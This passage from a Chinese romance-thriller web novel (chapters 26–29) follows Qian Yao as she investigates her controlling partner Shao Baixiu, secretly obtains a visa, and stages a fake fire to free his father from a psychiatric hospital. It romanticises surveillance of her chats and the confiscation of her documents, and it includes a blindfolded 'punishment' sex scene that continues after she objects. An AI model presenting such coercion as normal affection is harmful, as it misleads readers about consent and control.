“我当时看烟花,没注意到时间过去了。”
千瑶挨在他怀里,“对不起嘛。”
邵柏修捏着她的下巴,让她抬起头。
眼中深情款款,温柔如水。
千瑶却从中看到了薄凉的寒意,危险十足。
他手背划过她的侧脸,“宝宝,别骗我。被我发现了,后果你承受不了。”
邵柏修指腹按在她的红唇,蹂躏那处粉嫩。
“我今天很生气,想好怎么接受惩罚了吗?”
26. 第26张照片
车在大门前停下,邵柏修抱着千瑶下车,一路进入卧室。
她肩头的风衣落地,千瑶被放在床上。
邵柏修俯身而下,双手压在她的两侧。
额头相抵,轻微的吐息在她的眼睫,她长睫微颤。
“宝宝,是你主动找他的?还是他来找你?”
千瑶攥着下方的被单,她心在砰砰直跳。
凝视的压迫,压得她无法喘息。
“我主动找他的,因为工作上有收尾的工作,所以聊了聊。”
“因为江边正好有烟花秀,就顺便和他一起看了。”
“就是这样,朋友一起看烟花,没有别的。”
千瑶实话实说,她知道自己和应斯年的聊天记录都在邵柏修那边同步到了。
撒谎没有必要。
邵柏修弯着唇角,吻在她的眉骨上。
“你又去见他。”
他扯下自己的领带,千瑶缓缓地往后缩,察觉到了危险。
她不动声色地推了他一下,他靠着自己太近,呼吸不畅。
“工作上的事情。”
“你还和他看烟花。”
他捏着千瑶的下巴,让她看着自己。
邵柏修的领带缠绕在手心,他解开领口的扣子,注视着千瑶。
“顺路去看了,江边离餐厅不远。”
“你把我落在家里,一个消息也不回。”
千瑶攥着衣角,“我......”
邵柏修手指按在她的唇上,“嘘——我不想听了。”
“我们今天玩点别的。”
千瑶眼前一黑,领带绑在她眼前,遮住了她的视线。
头发被他撩开,绑得严实。
视觉被剥夺,她紧张得要摘下,邵柏修拿下她的手,按在床上。
“我不喜欢这样。”
灼热的气息在耳边,哑声道:“私自摘下的话,我会生气的,宝宝,别让我生气。”
“你不守信用,这是惩罚。”
随即,湿热的吻隔着领带,吻着她的眼睫。
感受到她微微颤动的睫毛,头顶上传来一声轻笑。
千瑶视感一片漆黑,其余的感官变得更加敏感。
她的手腕被大手按在床上,他的手指顺着手臂的曲线往上。
流连于肩头,指尖划过的地方,宛若电流划过。
最终点在她的唇缝上。
他在她耳边轻微吐息,舌尖描摹着她的耳廓,眼神涩.气而又迷离。
修长的手指摩挲着她的唇,“乖,张开。”
邵柏修咬着她的耳垂,千瑶不可遏制地闷哼,手指探入她的口中。
“唔...”
浓重的吻在她的锁骨,千瑶大脑一白,让人呼吸稍滞。
按压着她的唇角,抓被单的手骤然抓住他的手臂。
手臂的线条绷直,握着爆发力十足,衬衫下的力量感是她抵抗不了的。
千瑶身体微微向前屈,“邵、邵柏修......拿出去。”
唇齿之间,她能感受到冰凉。
顶着她的舌尖,脸一下就蹭红了。
津液顺着她的嘴角滑下,泛着潋滟的水光。
“不要见他了,哪怕是工作。我会吃醋的,宝宝。”
邵柏修眼底猩红,眼中尽是痴迷,“我回家见不到你,我好难过,好失落。”
千瑶被遮住眼睛,看不到他如今病态的神情。
他抱着千瑶,身体在颤抖。
邵柏修吻着千瑶的唇,呼吸粗重,淡淡的雪松香味包裹着她。
他压着千瑶的手腕,在她的掌心揉捏,手指穿过她的指缝,扣着手床铺往下凹陷。
千瑶的呼吸被掠夺,这场吻逐渐从温柔变成强势地侵袭。
她每一寸骨头,都软下来。她浑身发颤,挣扎间却动弹不得。
千瑶被打横抱起,她不知道被带到了什么地方。
腿下是冰凉的白瓷,沾着湿漉漉的水。
“邵柏修,放我下来。”
双脚的腾空让她感觉不安全。
千瑶还想继续说,柔软便堵住了她的唇。
一寸寸地压在她的嘴唇,碾过敏感的唇珠,她不得以往后仰,双手撑在后头的水池台。
而后她的纽扣,在一点点地被扯开。
隔着领带,她察觉自己在被人凝视。
上下流连,目光灼灼。
邵柏修咬在她的一对锁骨上,疼得她往后仰,却被大手托着后颈,她毫无退路。
他把千瑶的一只手放在肩膀上,声音低沉沙哑,“宝宝,扶好。”
微微的喘息停留在她的耳廓,忍到了极致。
千瑶脑袋短暂地空白。
她犹如踩在一团柔软的海绵,一点点地下坠,凹陷。
又如沉浸在暖洋里,上浮下潜,搅弄得她失神。
千瑶眼前的领带被扯开,眼前朦胧,泪水弄湿了领带。
她的下颌被掰着看后边的镜子,她的脸红得滴血,眼神带着润湿后的红韵。
千瑶嘴唇微张,红唇潋滟。
她那瞬间失神,难受得蹙起眉头。
“好想把你这个模样画下来。”邵柏修从她耳边说道。
勾起恶劣的笑意,“只给我看。”
一夜的云雨,千瑶昏了过去。
她不舒服地蜷缩着身体,大手揽着她。
邵柏修抵着她的脑袋,相拥而眠。
雷电闪过暗夜,轰隆声之中,千瑶呼吸粗重。
她的额头发汗,细密的汗水黏在额发上。
千瑶攥着被子,皱起眉毛,不安地翻来覆去。
她口中不停地喊着。
“爸爸,爸爸。”
雨下得特别大,身边的男人松开了她的手。
身影消失在雨幕中。
雷声还在持续,枪响之下,血染红了她的双手。
红色,红色,全是红色的血。
“爸——”
千瑶直接被惊醒。
她的眼泪不停地流,翻涌的情绪冲击着她。
身旁的人抱住了她,“没事了,没事了,千千。”
她被按在胸口,眼神怔愣,没有从梦魇中脱身。
邵柏修温柔地拍着她的后背,擦去她的泪水。
“我看到了,好多血,好多好多血。”
雷声轰鸣,雨夹杂着狂风肆虐。
她看向窗外,雨水打在窗上噼里啪啦地响。
她害怕雷声,她好怕。
“邵柏修,我好像梦到我爸爸了。”
“我之前问过你,你一直不想说,你觉得这是不好的回忆。”
她看着邵柏修,泪珠挂在眼睫上,“你告诉我。”
邵柏修犹豫了很久,“伯父,他......他是个很优秀的警察。”
“这件事情,我只能告诉你这个,其他的我不能说。”
“关于他的一切都是保密的。”
“对不起,千千。”
他抚摸着她的头,“不要去想了,乖。”
千瑶听着雷声,缩在被子里,
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卷成一团。
她睁着眼睛,始终无法安睡。
邵柏修抱着她,让她挨着自己。
一双手覆盖住她的眼,“睡吧。”
也许是在温暖的怀抱里,千瑶听着他的心跳声,沉沉睡去。
-
千瑶手机振动,微信上弹了很多消息。
【Sherika:千,计划有变,我估计得延迟三周后才能回M国了,临时还得去港市一趟。】
【Sherika:原本预计下周的申请还是不行,审批时间又延后了。】
【Sherika:你放心,等我回来估计研究申请也就下来了,毕竟这项研究知名度很高,不过时间会久一点。】
【Sherika:看到消息速回,速回!】
【Sherika:等等!你不会还没醒吧,我要锤爆你的dog头。】
千瑶见到,马上回了消息。
她看了眼日历,皱着眉头,见3443只能往后拖了。
千瑶一如既往地开启码字时间,她在书房一待就是一下午。
她捋了捋大纲,章纲也写得差不多了。
千瑶起身,揉了揉自己的脖子,想下楼喝水。
她下楼梯时,手机振动。
忽地,成侦探发来消息。
【成侦探:千小姐,我查得差不多了。】
【成侦探:不过我想我们还是见一面,当面说更清楚。】
她看着手机,指尖敲击键盘键,正在打字。
那边又发来。
【成侦探:我们明天见如何?】
邵柏修将剪刀放在柜子上,他刚从花园进来,就见到千瑶捧着个手机,看得入迷。
“千千,在看什么呢?”
千瑶的字还没发出去,颓然一震,被他的声音吓了一跳。
整个人一踩空,从楼梯上摔了下去。
手中拿着的手机,也砸到栏杆,摔在了地上。
下方的邵柏修上前,及时接住了她。手臂横揽过她的腿,将她抱在了怀里。
“嘶——”
刚刚摔的时候,她扭伤了脚踝。
疼得直抽气,抓着他肩膀的衬衫,拧得褶皱。
千瑶强忍着疼痛,咬着唇疼出了冷汗。
“怎么这么不小心?”
邵柏修将她放在沙发上。
心疼地抬起她的脚,放在自己腿上。
她的脚踝处已经肿起大包,白皙的皮肤霎时红了一大片。
邵柏修眉眼中尽是担忧,他的视线扫过她的手臂,腰间,仔细检查还有哪里伤到。
“还有哪儿疼?”
千瑶疼得眼角渗出生理盐水,看上去眼眶红红的。
她摇头,“没有了。”
千瑶尝试动一下脚,但是疼得不行,就像针扎在脚踝,一寸寸地磨人。
“嘟嘟——”
“嘟嘟——”
千瑶眼神看到地上的手机,还好是背部朝上,盖着的。
可是她的页面还没有退出来,手机在地上震动。
震动的声音很大,千瑶的心顿时提到了嗓子眼。
每每震动一下,她的心就跟着飞速直跳。
她祈求现在成侦探不要再发消息了。
邵柏修也注意到了地上在震动的手机,那是他上回买给千瑶的。
手机壳也是他帮忙换上的可爱史努比,黑白相间的背景。
他将千瑶的腿放在沙发上,从沙发上起身。
他走向楼梯边,俯身去拿她的手机。
27. 第27张照片
“呜...”
她捂着脚踝疼得发颤,指尖刚碰到就痛得不行。
“我好痛,邵柏修。”
邵柏修扭头看她,眼泪已经忍不住地往下流,蜷缩在沙发上默默地啜泣。
她牙齿咬着嘴唇,几欲咬破渗血。
邵柏修来到她身边,将她的腿抬高。
“宝宝,我去拿冰袋,我马上就回来。”
他擦去她眼尾的泪水,去厨房拿了冰袋。
千瑶见到邵柏修已经走向厨房,她往身后看去,他打开了冰箱。
她下沙发,忍着剧痛,身体压低,慢慢地趴在地上。
手指触碰到手机,她赶忙回头看了一眼厨房。
邵柏修还没出来。
迅速将手机捡起,及时塞到口袋里。
邵柏修拿着冰袋出来,敷在她脚踝上。
冰冰凉凉,疼痛得到了缓解。
“还好刚刚你站得不高,我检查了一下,骨头没有错位,只是软组织损伤。”
邵柏修手指轻柔地按压,视线扫过,她不只是伤了脚踝。
她的膝盖也青青肿肿,好几道破皮的痕迹在上边。
邵柏修拿着药箱,仔细地给她上药。
千瑶看着他,一时眼睛酸涩。他低着眉眼,棉签一点点地涂在上边。
动作温柔,连带着淡淡的呼气。
时不时抬头,对视上她的眼,弯起嘴角。
她不知道为什么,也许是因为真的摔疼了,眼睛不停地在流泪。
心就像被什么攥得紧住的,酸涩得让人难受。
“太疼了吗?”
邵柏修觉察她的情绪低落,泪水还在眼眶打转。
她眼尾哭红了,咬着嘴唇,忍着疼。
千瑶摇头。
他拿着纸巾,给她擦去眼泪,“没事,过几天就好了,不严重的。”
邵柏修看向走廊边,她的手机原本摔在了那里,现在却空荡荡的。
他扭头看向千瑶,“手机呢?”
“我刚刚捡起来了。”
“你脚伤了,本就不该轻易动的,会加重伤势。为什么不等我来?”
千瑶拉着他的手,“反正也不远,就在旁边,你刚刚去厨房了,干嘛还要麻烦你。”
邵柏修剑眉紧锁,她又一脸逞强模样,疼得抓沙发的手指发白。
她一点也不把自己的伤当回事,倒是会替别人着想。
“没有下回,宝宝。”
千瑶乖巧点头。
今晚千瑶上床很早,邵柏修在书房工作。
刚才邵柏修一直陪着她,她没时间回复成侦探。
她担心地看着自己的脚踝,她希望能好快一点,明天还要去和人见面。
千瑶在想明天她该怎么出去,这是一个问题。
雪莉卡最近很忙,她要搞报告,她不能再去打扰她了。
不过......
她打开手机,她记得刷到过一个画展的公众号。
一位知名画家的画展,抢票时间就在今晚的十点。
她看了眼时间,九点五十。
还有十分钟,时间紧迫,她拿着电脑还有手机。
她要抢两张,时间一点点流逝,她不断地刷新页面。
千瑶紧张得手心发汗,她一定要成功。
十点整。
她直接开抢,付款界面一直在转圈,她急得不行。
而后终于挤进去,付款成功。
千瑶长舒一口气,她退出来时,页面刚好显示余票为零。
次日清晨。
千瑶活动了一下脚腕,感觉还可以。
没有之前那么痛,而且她可以落地缓慢地走,不需要任何人搀扶。
她出门时,赵叔还很惊讶。
她去画展的事情很突然,显然小姐也没和先生提前说。
“小姐,您的脚真的行吗?”
千瑶点头,“可以的,我要去看画展,这对我很重要。”
赵叔送她到东方画展,他等在外头。
赵叔见到人进去后,没过一会儿,几名身着黑色西装的男子跟在后头。
门口的保安直接拦下人,经理人也过来了。
“几位先生,没有票不可入内。”
赵叔给邵柏修同步了消息,他们只能等在外头。
东方画展内厅。
千瑶站在一副麦田的油画前,驻足观赏。
其色彩浓烈,浅色调为主,一副生机勃勃的景象。
“感谢千小姐给我的票,不过我不懂画,只能看个价钱。”
“这幅画看着不错,画得很美,我打工五十年应该能买下。”
“它有种古希腊罗马的浪漫主义色彩。”
千瑶扭头,成侦探站在她身边。
她微微一笑,“成侦探,又见面了。”
二人走到休息区,这里距离主厅较远,没有人会来。
成侦探从公文包里拿出一叠材料,放在玻璃桌上递给她。
“这是我调查到的。”
她打开资料袋,紧张在心间蔓延。
第一张资料,入目的便是邵氏集团掌权人——邵柏修。
邵氏集团旗下的康勃雅医疗,乃医疗行业巨头。
在全球120多个国家市场中占据重要位置,其产品线覆盖神外,心血管,医疗影像等多个领域。
成侦探喝着矿泉水,看着眼前人怔愣的神情。
“我第一次查到的时候,也是你这个表情。不过他真的很神秘,这资料我还真废了一番功夫。”
“邵氏集团鲜少出现在媒体面前,狗仔拍到的也都是模糊的照片。”
“除了一些能够公开的,都是问过他们那边才给公布。”
“例如你手上的这张照片,3443就是邵向群,也就是他父亲,是前任集团一把手。”
千瑶从资料中抬眼,“他父亲?”
她的心怦怦直跳,脑海中不断闪回在安康精神病院见到他的画面。
那个模样邋邋遢遢,花白的长发披散。
狼狈地被一众医生压在身下,强制注射镇定剂。
与她现今手中拿到的照片截然不同。
资料上的他,西装革履,眉宇间带着威严,不怒自威。
眼神深邃,鼻梁高挺,侧脸与邵柏修有几分相似。
千瑶看着这些照片,心跳慌张,不自觉捂嘴。
那天他清楚地叫着自己的名字,写下了那张求救纸条。
成侦探盖上盖子,“他啊,就因为精神病,然后掐了自己的秘书,差点致人死亡。”
“之后就被查出来是有边缘型人格障碍。”
千瑶看着诊断书图片,迟疑了,“所以他真的有精神疾病吗?”
成侦探耸了耸肩,“我查到的就是诊断书,我又不是医生。”
她看着入院的日期,距今已经有半年了。
“我还发现一件有意思的事。”成侦探扬起唇角。
“什么?”
“邵柏修亲自将他爸送进了精神病院。”
千瑶指尖发凉,心头
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倏然漏了一拍。
成侦探指着日期月份,指骨敲在桌面上。
“你看,他发病的当天凌晨,就把人送走了。早上就接管集团,成为了掌权人。”
“而且没有董事会反对,一切都顺理成章。”
成侦探双手环胸,“所以我有理由怀疑,他早就预设好了结果。”
“早买通了董事会,就连他单人持有的股权,都达到了百分之六十以上。”
千瑶听着这些话,一字一句地砸在她心间。
她没想到会是这个结果。
邵柏修到底是个什么样的人,简直令人可怕。
万分谨慎,蓄谋已久。
成侦探在她眼前打了个响指,千瑶回神。
“千小姐,我也就查到了这么多,极限了。”
“你还是让我查猫猫狗狗,这些简单。而且第二次半价,还可以打折哦。”
他再次将自己的名片送出,起身做了个抚胸礼,“感谢您的惠顾。”
“成侦探,谢谢你。”
“我还有个问题想请教你,你知道京市安康精神病院的地图吗?”
成侦探坐下,又从公文包拿出了一张A4大小的白纸。
“你还真是问对人了,我调查时去过里边。这张图是我凭记忆画的,职业病职业病。”
“那能给我吗?”
“介于千小姐您是我的第一个大客户,这张图白送你,不收佣金。”
“谢谢。”
千瑶攥着纸张,手机拍了几张存档。
展览的时间即将结束,她收拾好材料,放进包里。
从展厅出来时,她整个人都是懵的。
她走得很慢,全靠左脚支撑着重量,一轻一重地缓慢移动。
脚踝又开始疼,她坐在花坛旁的椅子休息。
千瑶没有去管疼痛的脚,浑身失去力气,仰靠在靠椅上。
她闭上眼睛,树荫下凉风习习,太阳的光照停在她的眉睫。
冬日的阳光,很冷很冷。
良久,千瑶睁开眼。
她打开手机,查询M国驻京市总领事馆。
相关的文件她看得很仔细。
千瑶关闭手机,往展厅的门口走去,陆陆续续地有很多人从这里出来。
赵叔等候多时,见到不远处的千瑶,知道她腿脚不便,扶着她上车。
千瑶回到家后,将包放进了自己房间的储物柜并锁上了。
回到书房,编辑给她发了《青梅若止》出版的消息。
心鑫杂志社的编辑想和她详谈,有些情节需要进行修改,如有意向可以线下签合同。
她看到消息,兴奋喜悦顿时冲昏了她的头脑。
她迅速上网查了一下位置,心鑫杂志社在广贸大厦29层。
浏览的速度很快,极其认真。
千瑶放下手机,嘴角的弧度未曾下落。
邵柏修进门就看到她的笑容,眉梢上扬。
“有什么好事?”
千瑶扭头,见到邵柏修朝自己走过来。
她带着浅笑,“我的小说要出版了,我好高兴。”
邵柏修把她侧抱在腿上,顺着她的视线,落在那网页上。
发来的站短,还有编辑的一些话。
“宝宝,恭喜你。”
千瑶握着他的手,脑袋靠在他的胸膛上。
“邵柏修,你能不能把我的证件拿给我,明天我想要去签约了。”
她不经意问道:“那个......红色的包包,你放哪了?”
28. 第28张照片
邵柏修含笑的眼看着千瑶,笑意僵硬了半顷。
眼底的晦暗一闪而过,怀里毛茸茸的脑袋蹭了蹭他的下颌。
“你怎么不说话了?”
千瑶抬眼上视,长睫微扇动。
与他相视间,她带着困惑,不理解他的沉默。
“好,给你后要收好,很重要的。”
“我会的。”
她乖乖点头,邵柏修拉着她下楼。
他打开卧室的灯,在床头柜旁边有一个机械保险柜。
邵柏修不介意千瑶知道密码,她就站在旁边,看邵柏修转动密码盘。
右三圈,左四圈,右一圈。
他从口袋里拿出钥匙,邵柏修是随身带着的,拧手柄打开了保险柜。
她的包就放在上层,下边是一些文件。
邵柏修拿出来后,直接递给她。
千瑶看了眼包里,身份证,护照齐全。
她弯起嘴角,还好都在,她拿到了。
邵柏修看她上扬的嘴角,在她唇覆上一吻。
在她耳边哑声道:“就这么开心?”
邵柏修环抱住她的腰,指尖揉捏她的后颈。
“嗯,很开心。”
-
隔天一早,千瑶就出门了。
广贸大厦在市中心,她进门后,电梯一路直上29楼。
千瑶被引入一个休息区,招待员给她泡好了咖啡。
她抿了口黑咖啡,刚坐下没多久,门口敲门声响起。
千瑶扭头,见到一个齐肩短发的女士进来。
她穿着干练的西装,面带笑意。
千瑶站起主动握手,“您好,您是张老师吗?我是千瑶。”
“您好,请坐。我偶然在网上看到了您新完结的小说,特别喜欢。”
千瑶微微一笑,“谢谢。”
张编辑将自己的纸质版稿子,批注了很厚的一沓。
“这是纸质稿,电子版的也发过去了。”
“我看过您的修改意见了,很用心,批注的地方我也仔细斟酌过。”
千瑶和张编辑沟通了一些细节,二人谈得很愉快,很多观点不谋而合。
当张编辑拿合同出来时,她仔细看过没问题,当场就签了。
张编辑看着合同上的签名,没想到她这么爽快。
千瑶将笔盖合起,放在桌上。
她站起,“抱歉我还有些事,先走一步了。”
张编辑握手,“今天谢谢你能来,之后的消息我会再跟你说。”
“好的。”
千瑶坐电梯离开29楼后,下电梯到二楼。
她记得二楼的东边有个通道,能直往大厦的东侧门。
当下楼梯到一楼时,消防通道的门是开着的,没有开灯,有一些昏暗。
她把手机拿出来,放在门后的角落。
这个地方走的少,加之光线不足,一般人不会注意到。
千瑶步子加快,在门口叫了计程车。
“师傅,去M国大使馆。”
她坐在车上,有些焦急地看着时间。
当千瑶到的时候还有一个小时,还好没下班。
她进入大厅,“您好,我想办理签证。”
工作人员是一位年轻的女士,她面带微笑,“您好。”
她让千瑶先交材料,千瑶等在一旁。
工作人员在电脑上操作,查询她的个人信息。
她注意到时间,“你的签证刚好上月过期。”
“系统上我都核对过了,你可以免面谈,先填表吧。”
千瑶参照旁边例表的格式,一会儿就填完了。
“我想问问,一般需要多久可以得到签证?”她拿着表,抿了抿唇。
工作人员想了一下,“一般是三周后,会有短信通知的。”
她心里听到那个数字沉了沉,三周有点太久了。
“谢谢。”
千瑶从大使馆出来后,又坐车回了东侧门。
她拿回手机,从正门出去。
她站在门口,准备联系赵叔。
一辆黑色迈巴赫停在她面前,车窗摇下,露出那人俊美的侧颜。
邵柏修手肘撑在窗沿,对她一笑,“上车。”
千瑶怔住,她攥紧包带的手,上了副驾驶。
“千千,看起来很惊讶。”
“赵叔呢?怎么是你来接我?”
邵柏修扭头看向她,“我来你不高兴?”
千瑶摇头,“不是的。”
她看着外头的风景,这条不是回家的路。
“我们去哪?”
“海边。”
车开了很久,千瑶很困,没过一会儿就睡着了。
当车停下时,她听到有人在唤她。
千瑶睁开眼,他们到了海岸边。
沿线有几栋建筑,海边别墅。
眼前就是一片汪洋大海,比先前她和雪莉卡见到的更加壮阔。
海鸥飞跃天际,浪花拍打在礁石上,溅起白色的水沫。
千瑶看着壮阔的海,顿时入迷了。
邵柏修看身侧人愣神的模样,他揽着她的腰,穿过沙滩的小路。
门口已经有侍者等候,“先生,小姐,房子都清理完毕,设施一应俱全,愿您入住愉快。”
邵柏修点头,侍者便离开了。
二楼的餐厅在露台,从露台看向远处,便是一望无际的大海。
“这里是你的房子吗?”
邵柏修从身后搂着她,“以后就是你的了,转到了你名下。”
“你喜欢看海,我就把这里买下来,你可以随时来。”
千瑶扭头看他,从他的眼底看到了一片的深情,犹如大海的幽深无垠。
她别开眼,“谢谢你。”
她看着这片海,广袤无垠。
一种自由,广阔迎面而来。
等到夜幕降临,海风徐徐,冬日微冷。
“邵柏修,我在构思一个情节大纲。如果男主欺骗女主,他的目的有哪些?”
邵柏修挑眉,“有前提吗?”
“前提?”
“就是他是否爱女主。”
千瑶沉思片刻,“应该......是爱的。”
她在这一刻迟疑了。
“不......不爱。”她缓缓摇头。
邵柏修盯着她认真的神情,骤然笑了,“你可是作者,需要想这么久?”
“你不就是参考答案吗?”
千瑶与他对视,直言道:“我不知道。”
“如果我是他,就一定会把女主牢牢掌握在手里,欺骗只是一种手段,只要结果是好的,过程不重要。”
“你是这么想的吗?”
千瑶注视着邵柏修,他柔和的眉眼弯起。
他揉着她的手心,“宝宝,这只是小说,我说的只是对男主行为的推测。”
“你看前边。”
千瑶顺着他手指的方向看去。
日落后的天空橙黄,不一会儿就暗下来。
海面上泛起阵阵蓝色的荧光,海浪翻涌浪花,银蓝色的宛若银河。
“晚上的荧光海,这里独有。”
千瑶被那场面震撼到了,很美的荧光星星点点,犹如闪烁的星河。
整个海面霎时变得绚烂,她还是第一次见到这样的海。
“好漂亮,很......自由。”
浅蓝色的光映在她弯起的唇角。
“千千,我爱你。”他在她耳边轻声说道。
吻上她的耳廓,千瑶抓着栏杆的手一紧。
邵柏修揽着她的腰,她靠在栏杆上,被吻得微仰起头。
轻柔的吻落在眉心,逐渐停在她的唇上。
她感觉脑袋发懵,有一瞬间短暂地空白。
千瑶推着他的胸膛,他退后几步。
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>她没抬眼看他此时的神情,她扶着额头,“我有点累了,回去休息了。”
邵柏修摸着唇角,眼底的情.色未散。
看着千瑶离开的身影,若有所思。
千瑶的红色LV在沙发上,她拿起包,想要放进卧室里。
身后的声音响起,“宝宝,你今天签完合同了吗?”
千瑶扭头,见到他靠着露台的门框,正在注视着她。
“已经签好了。”
“那这些证件我帮你保管吧,宝宝,以免不见了。”
千瑶摇头,“我可以放好的,我想自己保管。”
邵柏修看她一脸坚持,他也不再提。
千瑶晚饭过后,她回到卧室。从卧室的阳台看着海浪,晚风吹拂着,吹得她的思绪缭乱。
她的脑海中闪回邵柏修同她说的那番话。
忽地,手里塞了个暖水袋。
她低头一看,是一个垂耳兔,手心窝在里边暖暖的。
“宝宝,你有烦心事。”
邵柏修站在她旁边,是陈述的语气。
“小说的事,后边在想怎么写。”
她被风吹得手指发凉,脸颊不正常地泛起红晕。
她就像没有知觉,呆呆地看着海面,眼中就像失去了神采。
邵柏修皱眉,觉察到她的状态不对。摸着她的脸,而后探了额头。
非常烫。
千瑶直直地往后倒,倒入他的怀里。
“千千。”他焦急道。
他直接将千瑶打横抱起,放置床上。
邵柏修打了个电话,让人送药上来。
他守在千瑶身边,她嘴巴微张,嘴里低吟着什么。
邵柏修冲好退烧药,听到她的声音,俯身倾听。
“冷......好冷,哥哥。”
邵柏修柔声抚摸她的额发,“千千,哥哥在这儿。”
他给她盖了几层被子,而后将退烧药一勺勺地喂进她的嘴里。
她嘴角渗出的药液,他拿纸巾擦去。
整个喂药的过程很慢,邵柏修始终很耐心地喂完。
她不再低喃,睡得很安稳。
邵柏修给她量温度,烧还是没有退。
千瑶刚才一直吹风,她的体质有些弱,加之腿脚不便又站了很久。
邵柏修看她蹙起的眉毛,不安地攥着他的衣袖,是他没有照顾好她。
他坐在她对面的椅子上,隔一段时间就给她量体温。
时不时擦去她额上的汗,他撑着下巴,微眯了会儿。
千瑶迷糊地醒来,外边天光亮起。
入目便是邵柏修的脸,他此时支着脑袋,靠在床边的柜上。
他的穿着还是昨天的模样,阳光恰好落在他的眉睫,眼底有淡淡的青黑。
千瑶有印象邵柏修一直在她旁边,他照顾到凌晨。
她的眼睛猛然酸了,她不清楚自己为什么会这样。
千瑶克制住那股奇怪的情绪,她叫醒了邵柏修。
邵柏修被她的声音唤醒,“宝宝,现在烧退了,以后不要在风里吹太久。”
千瑶对他一笑,“你先去洗漱吧。”
邵柏修揉了揉她脑袋,而后走进浴室。
千瑶在这里待了很多天,邵柏修一直陪着她。
他说公司有假期,刚好能与她二人世界。
一转眼,就过去了三周时间。
千瑶在露台码字,手机震动。
短信发来,她的签证可以去领了。
于此同时,雪莉卡给她发来消息。
【Sherika:千,后天我回来咯,当天下午我们就去调研。】
【Sherika:申请的函件我都拿到了,你这边OK吗?】
千瑶看到消息,她扬起一抹笑容。
【Q:OK,我会准时来的。】
她看向远方的海,广阔无边,那是自由的感觉。
29. 第29张照片
从荧光海回来后,千瑶和邵柏修说了小说出版的后续工作。
上午她需要去一趟广贸大厦,张编辑还有些改动,她希望能见面商讨。
两人正在花园修剪花草,她拿着剪刀将枯枝剪下都规整好。
邵柏修在浇花,他背对着千瑶,听到她下午的行程,浇水的动作微顿。
“宝宝,为什么还要去精神病院?”
“正好雪莉卡也要去,我上回还没搜集够呢,正好给我这个机会了。”
千瑶放下剪刀,来到他身边。
邵柏修与她相视,她从容自然,嘴角挂着笑意。
“我会很快回来的。”
千瑶从卧室拿了包,在鞋柜换鞋。
邵柏修站在客厅,看着她的身影。
“一定要去吗?”
千瑶扭头,撞上他的视线。
邵柏修不知何时已经走到她的身前,静静地注视着她。
他的视线平静,宛若深海的深邃。
千瑶看着他一笑,踮起脚尖,主动在他唇上盖下一吻。
“邵柏修,我已经约好了的,不能失约。”
千瑶说完后,让赵叔将她送到广贸大厦。
邵柏修看着黑色的宾利驶出院落,逐渐消失在视线中。
广贸大厦,上午九点。
千瑶进入了大厦,她是主动约的张编辑,因而有了预约能通过楼宇闸机。
赵叔在外头等着,看着那个娇小的身影进了大厦。
他坐在车里,和邵柏修进行汇报。
千瑶来到杂志社编辑部,在休息区内和张编辑商谈了具体细目。
一个小时左右,千瑶离开了29楼。
按照原先的方式,去了M国大使馆。
“您好,我来领签证。”
工作人员进行登记在册,千瑶手里拿到那张签证时,内心震颤。
她在医院看到的那个熟悉碎片,现在她看到了全貌。
——VISA
她□□大厅冰凉的长椅上,骤然失神。
脑海中闪过无数个画面。
和她的护照夹在一起的那个碎片,原来是她的签证。
她的签证在车祸的火海中被烧掉了。
千瑶恍然之间,一幕幕的场景,就像穿线的珠子,一切都串联起来了。
京太高速,机场最快的道路,飙升的车码数。
当时一定有什么事情特别急。
她的车祸根本不是什么争吵,情绪过激,失误造成的事故。
——她要出国。
千瑶手指冰冷,拿着签证的手在颤抖。
她的车上什么都没有带,只拿了这个包。
里边就三样东西,身份证,护照,签证。
她当时一定是要出国。
千瑶看着□□大厅来来往往的人,倏然恍惚,这一幕熟悉极了。
千瑶平复心跳,攥着签证放回包里。
她坐上计程车,回了广贸大厦,按照既定的时间在商圈和雪莉卡见面。
她和雪莉卡吃了顿中餐,下午就去精神病院。
“千,你怎么神不守舍的。”
雪莉卡见她没吃几口,食不知味。
“雪莉卡,我有个计划,不过需要你帮我。”
“啊?”
雪莉卡凑近,千瑶在她耳边说了什么,她顿时睁大双眼。
“crazy!”
她捂着脸,不可置信地看着她,“你真要这样吗?”
千瑶点头,“我是认真的。”
雪莉卡喝了口红酒,烈得喉咙直烧。
她暂时冷静下来,“我知道你一定遇上了大麻烦,不然你不会这么做的。”
“那我就和你一起疯。”
她举杯和雪莉卡碰了一下,“谢谢你。”
京市安康精神病院。
当雪莉卡出示申请书时,院长仔细地阅览。
这是从上级直接来的文件,要他们全力配合此次调研。
他没有借口反驳,只得让人带她们进去。
穿过走廊,还是上回接待她们的女医生,两名警卫走在前头。
千瑶看到她口袋里的钥匙,上边标着3443,雪莉卡主动抱着女医生亲吻脸颊。
“美丽的女士,又见面了。”
千瑶在她左侧,三人走在一起,贴身时将她的钥匙掉了包。
“上回没见到3444真是个遗憾,咱们这回先去3444吧。”
“当然可以。”
忽然千瑶捂着肚子,颇为窘迫,“我不太舒服,想去趟厕所。”
“哦,千,那你快去,是不是吃坏肚子了?”
“可能是的。”
女医生看了她一眼,给千瑶指了去厕所的方向,千瑶道谢后,从走廊离开了。
她从楼梯的舷窗看到有很多人在院中休息,有些在疯跑,上窜下跳。
院中人都见怪不怪,干着自己的事。
千瑶根据成侦探的地图,她熟悉了路线。
所谓的东区西区,其实是危险性程度的划分,但都处于同一栋楼。
东区在低楼层,自7楼往上便是西区。
千瑶去到东区的储物仓,此处位于6楼。成侦探告诉过她,这里有大量干冰。
储物仓没人值守,门一下就踹开了。
千瑶按照既定的路线,她来到了储物仓。
几分钟后,通道的烟雾报警器在响,整栋大楼陷入一片黑暗。
在烟雾中,她蒙上口鼻,看不清人脸。
“着火了!”她大声喊道。
烟雾弥漫,医生紧急疏散东区的病人。
院长急得不行,赶忙指挥人到空旷地带。
而此时的报警器响彻了整栋楼,雪莉卡听着声音,诧异道:“糟糕,好像下层出事了!”
她对女医生道:“咱们快去帮忙,这里就先不管了。”
说着,几人就从楼梯匆匆往下赶。
院落里的病人看见烟雾浓郁,乱作一团,更加兴奋。
天空阴沉沉,下起了大雨。
诸多人在雨中狂舞,奔跑脱衣。
医生忙得不可开交,一边搀扶着行动能力不足的病人,又要以防那些失心疯的人冲撞。
邵向群听到走廊的警报声,贴在窗口查看,如今西区尚且无事发生。
忽然窗口出现一人,咔哒一响,门锁打开。
“千千。”邵向群愣神。
“嘘——跟我走。”
千瑶手心都是汗,她拉着邵向群的胳膊,从烟雾弥漫的楼梯往下走。
她在经过拐角的厕所时,想到了什么,让邵向群先站在这儿等会。
千瑶进了厕所,打开马桶的水箱盖子,将手机放在里面。
